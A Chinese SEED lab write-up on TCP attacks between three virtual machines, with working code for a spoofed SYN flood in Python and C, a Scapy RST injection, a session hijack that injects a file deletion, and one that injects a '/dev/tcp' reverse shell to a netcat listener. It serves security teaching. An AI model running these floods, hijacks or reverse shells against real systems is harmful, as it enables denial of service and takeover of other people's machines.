环境搭建

Install SEED VM on VirtualBox
上面完成了一台虚拟机的基本配置,然后clone两台虚拟机,和原来的虚拟机一起,分别是attacker、victim和observer。
attacker是发起攻击的机器、victim是遭受攻击的机器和observer是观察用的机器,同时后面也将victim作为客户端、observer作为服务器。
Oracle VirtualBox复制虚拟机
在这里插入图片描述
观察三台机器的ip

# 使用ifconfig命令
attacker的ip是10.0.2.5
victim的ip是10.0.2.6
observer的ip是10.0.2.7

辅助

Wireshark的使用

Task 1: SYN Flooding Attack

大致原理:使用大量的半连接tcp占满tcp连接池,正常的tcp请求就无法被接受,无法被处理了。

victim机器的基本配置

# 在victim上关闭SYN Cookie
# SYN Cookie是对SYN Flooding的防御措施,默认是1,即开启
sudo sysctl -w net.ipv4.tcp_syncookies=0

# 清空tcp缓存
# 因为Telnet会给未成功完成登录的终端留一个监听,所以如果不清空tcp缓存,即使发动了SYN范洪攻击,第二次telnet也会登录上了
sudo ip tcp_metrics flush

查看泛洪攻击前victim上的TCP链接的状态
在这里插入图片描述

attacker发起攻击

攻击脚本:py文件(攻击速度慢,因为是虚拟机,半连接会自动重置,要是攻击的速度赶不上重置的速度就实验失败了)
注意:每次攻击前,需要在victim上清空tcp缓存

vim synflood.py
sudo python3 synflood.py
#!/bin/env python3
from scapy.all import IP, TCP, send
from ipaddress import IPv4Address
from random import getrandbits
ip = IP(dst="10.0.2.6")
tcp = TCP(dport=23, flags="S")
pkt = ip/tcp
while True:
	pkt[IP].src = str(IPv4Address(getrandbits(32))) # source iP
	pkt[TCP].sport = getrandbits(16) # source port
	pkt[TCP].seq = getrandbits(32) # sequence number
	send(pkt, verbose = 0)

攻击脚本:c文件(攻击速度块)
注意:每次攻击前,需要在victim上清空tcp缓存

vim synflood.c
gcc synflood.c -o synflood
sudo ./synflood 10.0.2.6 23
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <time.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/ip.h>
#include <arpa/inet.h>

/* IP Header */
struct ipheader {
  unsigned char      iph_ihl:4, //IP header length
                     iph_ver:4; //IP version
  unsigned char      iph_tos; //Type of service
  unsigned short int iph_len; //IP Packet length (data + header)
  unsigned short int iph_ident; //Identification
  unsigned short int iph_flag:3, //Fragmentation flags
                     iph_offset:13; //Flags offset
  unsigned char      iph_ttl; //Time to Live
  unsigned char      iph_protocol; //Protocol type
  unsigned short int iph_chksum; //IP datagram checksum
  struct  in_addr    iph_sourceip; //Source IP address
  struct  in_addr    iph_destip;   //Destination IP address
};


/* TCP Header */
struct tcpheader {
    u_short tcp_sport;               /* source port */
    u_short tcp_dport;               /* destination port */
    u_int   tcp_seq;                 /* sequence number */
    u_int   tcp_ack;                 /* acknowledgement number */
    u_char  tcp_offx2;               /* data offset, rsvd */
#define TH_OFF(th)      (((th)->tcp_offx2 & 0xf0) >> 4)
    u_char  tcp_flags;
#define TH_FIN  0x01
#define TH_SYN  0x02
#define TH_RST  0x04
#define TH_PUSH 0x08
#define TH_ACK  0x10
#define TH_URG  0x20
#define TH_ECE  0x40
#define TH_CWR  0x80
#define TH_FLAGS        (TH_FIN|TH_SYN|TH_RST|TH_ACK|TH_URG|TH_ECE|TH_CWR)
    u_short tcp_win;                 /* window */
    u_short tcp_sum;                 /* checksum */
    u_short tcp_urp;                 /* urgent pointer */
};

/* Psuedo TCP header */
struct pseudo_tcp
{
        unsigned saddr, daddr;
        unsigned char mbz;
        unsigned char ptcl;
        unsigned short tcpl;
        struct tcpheader tcp;
        char payload[1500];
};

//#define DEST_IP    "10.9.0.5"
//#define DEST_PORT  23  // Attack the web server
#define PACKET_LEN 1500

unsigned short calculate_tcp_checksum(struct ipheader *ip);

/*************************************************************
  Given an IP packet, send it out using a raw socket.
**************************************************************/
void send_raw_ip_packet(struct ipheader* ip)
{
    struct sockaddr_in dest_info;
    int enable = 1;

    // Step 1: Create a raw network socket.
    int sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
    if (sock < 0) {
      fprintf(stderr, "socket() failed: %s\n", strerror(errno));
      exit(1);
    }

    // Step 2: Set socket option.
    setsockopt(sock, IPPROTO_IP, IP_HDRINCL,
                     &enable, sizeof(enable));

    // Step 3: Provide needed information about destination.
    dest_info.sin_family = AF_INET;
    dest_info.sin_addr = ip->iph_destip;

    // Step 4: Send the packet out.
    sendto(sock, ip, ntohs(ip->iph_len), 0,
           (struct sockaddr *)&dest_info, sizeof(dest_info));
    close(sock);
}


/******************************************************************
  Spoof a TCP SYN packet.
*******************************************************************/
int main(int argc, char *argv[]) {
   char buffer[PACKET_LEN];
   struct ipheader *ip = (struct ipheader *) buffer;
   struct tcpheader *tcp = (struct tcpheader *) (buffer +
                                   sizeof(struct ipheader));

   if (argc < 3) {
     printf("Please provide IP and Port number\n");
     printf("Usage: synflood ip port\n");
     exit(1);
   }

   char *DEST_IP   = argv[1];
   int DEST_PORT   = atoi(argv[2]);


   srand(time(0)); // Initialize the seed for random # generation.
   while (1) {
     memset(buffer, 0, PACKET_LEN);
     /*********************************************************
        Step 1: Fill in the TCP header.
     ********************************************************/
     tcp->tcp_sport = rand(); // Use random source port
     tcp->tcp_dport = htons(DEST_PORT);
     tcp->tcp_seq   = rand(); // Use random sequence #
     tcp->tcp_offx2 = 0x50;
     tcp->tcp_flags = TH_SYN; // Enable the SYN bit
     tcp->tcp_win   = htons(20000);
     tcp->tcp_sum   = 0;

     /*********************************************************
        Step 2: Fill in the IP header.
     ********************************************************/
     ip->iph_ver = 4;   // Version (IPV4)
     ip->iph_ihl = 5;   // Header length
     ip->iph_ttl = 50;  // Time to live
     ip->iph_sourceip.s_addr = rand(); // Use a random IP address
     ip->iph_destip.s_addr = inet_addr(DEST_IP);
     ip->iph_protocol = IPPROTO_TCP; // The value is 6.
     ip->iph_len = htons(sizeof(struct ipheader) +
                         sizeof(struct tcpheader));

     // Calculate tcp checksum
     tcp->tcp_sum = calculate_tcp_checksum(ip);

     /*********************************************************
       Step 3: Finally, send the spoofed packet
     ********************************************************/
     send_raw_ip_packet(ip);
   }

   return 0;
}


unsigned short in_cksum (unsigned short *buf, int length)
{
   unsigned short *w = buf;
   int nleft = length;
   int sum = 0;
   unsigned short temp=0;

   /*
    * The algorithm uses a 32 bit accumulator (sum), adds
    * sequential 16 bit words to it, and at the end, folds back all
    * the carry bits from the top 16 bits into the lower 16 bits.
    */
   while (nleft > 1)  {
       sum += *w++;
       nleft -= 2;
   }

   /* treat the odd byte at the end, if any */
   if (nleft == 1) {
        *(u_char *)(&temp) = *(u_char *)w ;
        sum += temp;
   }

   /* add back carry outs from top 16 bits to low 16 bits */
   sum = (sum >> 16) + (sum & 0xffff);  // add hi 16 to low 16
   sum += (sum >> 16);                  // add carry
   return (unsigned short)(~sum);
}

/****************************************************************
  TCP checksum is calculated on the pseudo header, which includes
  the TCP header and data, plus some part of the IP header.
  Therefore, we need to construct the pseudo header first.
*****************************************************************/


unsigned short calculate_tcp_checksum(struct ipheader *ip)
{
   struct tcpheader *tcp = (struct tcpheader *)((u_char *)ip +
                            sizeof(struct ipheader));

   int tcp_len = ntohs(ip->iph_len) - sizeof(struct ipheader);

   /* pseudo tcp header for the checksum computation */
   struct pseudo_tcp p_tcp;
   memset(&p_tcp, 0x0, sizeof(struct pseudo_tcp));

   p_tcp.saddr  = ip->iph_sourceip.s_addr;
   p_tcp.daddr  = ip->iph_destip.s_addr;
   p_tcp.mbz    = 0;
   p_tcp.ptcl   = IPPROTO_TCP;
   p_tcp.tcpl   = htons(tcp_len);
   memcpy(&p_tcp.tcp, tcp, tcp_len);

   return  (unsigned short) in_cksum((unsigned short *)&p_tcp,
                                     tcp_len + 12);
}

结果:
查看泛洪攻击后victim上的TCP链接的状态,发现全是半连接状态
在这里插入图片描述
尝试使用telnet连接victim,发现连不上了
注意:攻击的脚本不要停止,因为是虚拟机,半连接会被自动重置掉,所以要一直攻击
在这里插入图片描述

Task 2: TCP RST Attacks on telnet Connections

大致原理:在tcp连接建立之后,虚拟RST报文,重置当前的tcp连接。因为telnet是基于tcp的,所以RST攻击可以强制中断telnet连接。
注:telnet退出:先按Ctrl+],然后在telnet命令行中输入quit

这里我们将victim作为客户端,observer作为服务器,victim使用telnet远程登录observer,接着attacker发送虚拟RST报文中断这个连接。其中的关键就是构造虚拟RST报文,相关信息可以通过wireshark捕获到,下面是实验流程:

observer打开wireshark进行抓包(基本环境可能配置完了,直接点开始就好了)

victim使用telnet远程登录observer
在这里插入图片描述
在wireshark上可以找到对应的报文信息,我们是想模拟服务器给客户端发送RST报文,所以找的就是最新的服务器发给客户端的报文。注意观察源ip、目的ip、源端口、目的端口,只要确定没有问题了,再看下一条的序列号和ack。
在这里插入图片描述
根据上面的信息构造RST报文:

vim RST.py
sudo python3 RST.py
#!/usr/bin/env python3
from scapy.all import *
ip = IP(src="10.0.2.7", dst="10.0.2.6")
tcp = TCP(sport=23, dport=43786, flags="R", seq=2604418268)
pkt = ip/tcp
ls(pkt)
send(pkt,verbose=0)

结果:
发现客户端的telnet连接被中断了
在这里插入图片描述

Task 3: TCP Session Hijacking

大致原理:在tcp连接建立之后,虚拟ACK报文,发送攻击者的数据。因为telnet是基于tcp的,所以会话劫持攻击可以嵌入攻击者的shell指令。

这里我们将victim作为客户端,observer作为服务器,服务器上有个文件new.txt,victim使用telnet远程登录observer,接着attacker发送虚拟ACK报文删除new.txt。其中的关键就是构造虚拟RST报文,相关信息可以通过wireshark捕获到,下面是实验流程:

在服务器上创建文件
在这里插入图片描述
客户端远程登录服务器
在这里插入图片描述
在wireshark上可以找到最新的报文信息,最新的是客户端发给服务器的,那我们模拟客户端再发一条,只需要改变序列号就好了
在这里插入图片描述

vim Hijacking.py
sudo python3 Hijacking.py
#!/usr/bin/env python3
from scapy.all import *
ip = IP(src="10.0.2.6", dst="10.0.2.7")
tcp = TCP(sport=60416, dport=23, flags="A", seq=3016242569, ack=691405153)
data = "rm -rf new.txt"
pkt = ip/tcp/data
ls(pkt)
send(pkt, verbose=0)

结果发现:文件删除成功,并且客户端的光标被锁死,无法输入命令(这个是因为客户端的终端失去了正确的ack与seq,既无法发出信息,也无法接收信息,甚至无法退出。)

Task 4: Creating Reverse Shell using TCP Session Hijacking

大致原理:这个实验的原理和上面那个实验几乎是一样的。

这次我们嵌入的命令是将shell控制台发送出去,攻击者接收这个控制台,就可以实现对于服务器的控制了。攻击者要接收这个控制台,我们就在攻击者上开启一个端口监听这个信息就好了,下面是实验流程:

# 攻击者开启9090端口的监听,待会就将shell控制台发送到这个端口上
sudo nc -lnv 9090

客户端远程登录服务器
在这里插入图片描述
在wireshark上可以找到最新的报文信息,最新的是客户端发给服务器的,那我们模拟客户端再发一条,只需要改变序列号就好了
在这里插入图片描述

vim Hijacking.py
sudo python3 Hijacking.py
#!/usr/bin/env python3
from scapy.all import *
ip = IP(src="10.0.2.6", dst="10.0.2.7")
tcp = TCP(sport=47522, dport=23, flags="A", seq=1169866989, ack=3951741091)
# 这个命令就实现了将控制台发送给攻击者的9090端口的作用(大致意思是这样的 但语句还是有点复杂的)
data = " /bin/bash -i > /dev/tcp/10.0.2.5/9090 0<&1 2>&1\r"
pkt = ip/tcp/data
ls(pkt)
send(pkt, verbose=0)

结果:攻击者与服务器建立了连接,比如使用ifconfig命令查看ip,接下来攻击者就可以为所欲为了
在这里插入图片描述

Logo

华为开发者空间,是为全球开发者打造的专属开发空间,汇聚了华为优质开发资源及工具,致力于让每一位开发者拥有一台云主机,基于华为根生态开发、创新。

更多推荐